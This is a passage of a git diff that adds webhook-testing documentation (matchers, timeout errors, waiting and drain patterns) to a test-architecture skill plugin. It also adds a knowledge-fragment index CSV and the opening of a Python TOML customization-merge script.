+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-trace/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-trace/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-trace/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
